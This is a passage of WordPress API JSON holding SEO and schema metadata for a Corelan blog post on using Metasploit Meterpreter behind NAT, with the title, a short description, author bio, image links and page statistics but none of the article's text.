Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2014\\\/01\\\/Labsetup2.png\",\"datePublished\":\"2014-01-04T10:25:50+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2014\\\/01\\\/Labsetup2.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2014\\\/01\\\/Labsetup2.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Metasploit Meterpreter and NAT\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Metasploit Meterpreter and NAT - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/","og_locale":"en_US","og_type":"article","og_title":"Metasploit Meterpreter and NAT - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking &quot;naked&quot; is considered to be the easiest way to perform a penetration test that involves getting shells back. Not everyone has the &hellip; Continue reading \"Metasploit Meterpreter and NAT\"","og_url":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2014-01-04T10:25:50+00:00","og_image":[{"url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/Labsetup2.png","type":"","width":"","height":""}],"author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Metasploit Meterpreter and NAT","datePublished":"2014-01-04T10:25:50+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/"},"wordCount":2029,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/Labsetup2.png","keywords":["meterpreter","metasploit"],"articleSection":["Metasploit","Pentesting"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/","url":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/","name":"Metasploit Meterpreter and NAT - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/Labsetup2.png","datePublished":"2014-01-04T10:25:50+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/#primaryimage","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/Labsetup2.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/Labsetup2.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Metasploit Meterpreter and NAT"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":116729,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/10227","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=10227"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/10227\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=10227"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=10227"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=10227"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}